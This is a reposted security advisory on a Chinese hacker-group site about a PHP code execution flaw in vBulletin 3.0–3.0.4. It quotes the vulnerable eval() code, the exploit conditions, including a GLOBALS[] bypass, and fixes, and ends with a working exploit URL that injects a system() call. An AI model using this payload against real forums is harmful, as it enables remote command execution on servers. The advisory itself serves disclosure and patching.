vbulletin 3.0.x PHP代码执行漏洞 || 中国X黑客小组


	您现在的位置：中国X黑客小组 >> 技术文章 >> 黑客技术 >> 黑客教学 >> 文章正文	用户登录新用户注册

vbulletin 3.0.x PHP代码执行漏洞

热 ★★★

【字体：小大】

vbulletin 3.0.x PHP代码执行漏洞

作者：未知文章来源：www.securityfocus.com 点击数：更新时间：2005-2-16

Vulnerable Systems:
----------------
vBulletin version 3.0 up to and including version 3.0.4

Immune systems:
----------------
vBulletin version 3.0.5
vBulletin version 3.0.6

Vulnerable code in forumdisplay.php :
#############################################################
if ($vboptions['showforumusers'])
{
.
.
.
.

if ($bbuserinfo['userid'])
{
.
.
.
.
$comma = ', ';
}
.
.
.
.
while ($loggedin = $DB_site->fetch_array($forumusers))
{
.
.
.
eval('$activeusers .= "' . $comma . fetch_template('forumdisplay_loggedinuser')
. '";'); <<==== (Vuln)
$comma = ', ';
.
.
}
.
.
}

#############################################################

Conditions:
----------------
1st condition : $vboptions['showforumusers'] == True , the admin must set
showforumusers ON in vbulletin options.
2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest
.
3rd condition : $DB_site->fetch_array($forumusers) == True , when you
visit the forums, it must has at least one user show the forum.
4th condition : magic_quotes_gpc must be OFF
SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in
init.php by secret array GLOBALS[]=1 ;)))

Solutions:
----------------
* Disable showforumusers in vbulletin options .
* add the next line before if ($vboptions['showforumusers'])
$comma = '';

Exploit:
----------------
example :
http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."

文章录入：IceRiver 责任编辑：IceRiver

上一篇文章： AWStats 6.4及以下版本多个漏洞以及分析

下一篇文章： SafeNet SoftRemote VPN客户端内存明文密码泄露漏洞以及细节

【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

最新热点		最新推荐		相关文章
				“VB蠕虫变种MQ”病毒技术细 SIDVault Simple_Bind 函数多 Motorola Timbuktu Pro处理文 SIDVault Simple_Bind 函数多 VB.NET 拖动无边框窗体编程实病毒清除技巧u.vbe和u.bat手了解VB编写病毒的大体方法用vbs来写sql注入等80端口的戴尔Linux PC再接再厉选用新 Google对个性化主页bug反应慢

　网友评论：（只显示最新5条。评论内容只代表网友观点，与本站立场无关！）


关于我们 - 版权声明 - 帮助(？) - 广告服务 - 联系我们 - 友情链接 - 用户注册 -	Powered by ICE RIVER - STUDIO

» CnXHacker.CoM